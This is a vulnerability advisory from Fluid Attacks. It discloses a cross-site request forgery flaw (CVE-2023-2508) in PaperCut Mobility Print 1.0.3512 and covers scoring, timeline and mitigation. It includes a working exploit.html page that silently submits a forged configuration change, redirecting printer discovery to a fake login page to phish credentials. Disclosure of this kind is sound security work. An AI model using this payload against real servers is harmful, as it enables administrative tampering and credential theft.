CSRF in PaperCut Mobility Print leads to sophisticated phishing

Summary

NameCSRF in PaperCut Mobility Print leads to sophisticated phishing
Code name
ProductPaperCut Mobility Print
Affected versionsVersion 1.0.3512
StatePublic
Release date2023-09-20

Vulnerability

KindCross-site request forgery
Rule
RemoteYes
CVSSv3.1 VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
CVSSv3.1 Base Score5.3
Exploit availableYes
CVE ID(s)

Description

The PaperCut Mobility Print version 1.0.3512 application allows an unauthenticated attacker to perform a CSRF attack on an instance administrator to configure the clients host (in the "configure printer discovery" section). This is possible because the application has no protections against CSRF attacks, like Anti-CSRF tokens, header origin validation, samesite cookies, etc.

Vulnerability

This vulnerability occurs because the application has no protections against CSRF attacks, like Anti-CSRF tokens, header origin validation, samesite cookies, etc.

Exploitation

In this scenario an unauthenticated attacker to perform a CSRF attack on an instance administrator to configure the clients host (in the "configure printer discovery" section).

Then, when the administrator wants to share the link to users so that they can configure their credentials, they are actually sending users to a malicious website that pretends to be the PaperCut NG login, with the goal of exfiltrating the credentials.

exploit.html

<!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html;charset=UTF-8"/> </head> <body> <form action=http://vulnerable.com:9163/dns-config method=POST enctype=text/plain> <input type=hidden name={"mdnsEnabled":false,"searchDomain":"","subnets":[],"currentStep":"","dnsOptionSelected":"","dnsConfigModified":false,"ZoneIndex":0,"AccessibleIP":"","AccessibleHTTPSPort":0,"dnsFreeEnabled":true,"ExternalIPCIDRs":null,"serverAddresses":["192.168.1.8","Retr02332-MacBookPro.local"],"httpsPort":0,"dnsFreeDiscoveryHostname":"localhost:9999/login.html?redirect="," value=x":"x"} /> </form> <script>document.forms[0].submit();</script> </body> </html>

Evidence of exploitation

Our security policy

We have reserved the ID CVE-2023-2508 to refer to this issue from now on.

System Information

  • Version: PaperCut Mobility Print 1.0.3512

  • Operating System: MacOS

Mitigation

An updated version of PaperCut Mobility Print is available at the vendor page.

Credits

The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.

References

Vendor page https://www.papercut.com/

PaperCut Mobility Print server release history https://www.papercut.com/help/manuals/mobility-print/release-history/#mobility-print-server

PaperCut Mobility Print android app release history https://www.papercut.com/help/manuals/mobility-print/release-history/#mobility-print-android-app

Timeline

Time-lapse-logo

2023-05-03

Vulnerability discovered.

Time-lapse-logo

2023-05-03

Vendor contacted.

Time-lapse-logo

2023-05-03

Vendor replied acknowledging the report.

Time-lapse-logo

2023-05-08

Vendor Confirmed the vulnerability.

Time-lapse-logo

2023-08-22

Vulnerability patched.

Time-lapse-logo

2023-09-20

Public Disclosure.

Fluid Logo Footer

Hacking software for over 20 years

Fluid Attacks tests applications and other systems, covering all software development stages. Our team assists clients in quickly identifying and managing vulnerabilities to reduce the risk of incidents and deploy secure technology.

Copyright © 0 Fluid Attacks. We hack your software. All rights reserved.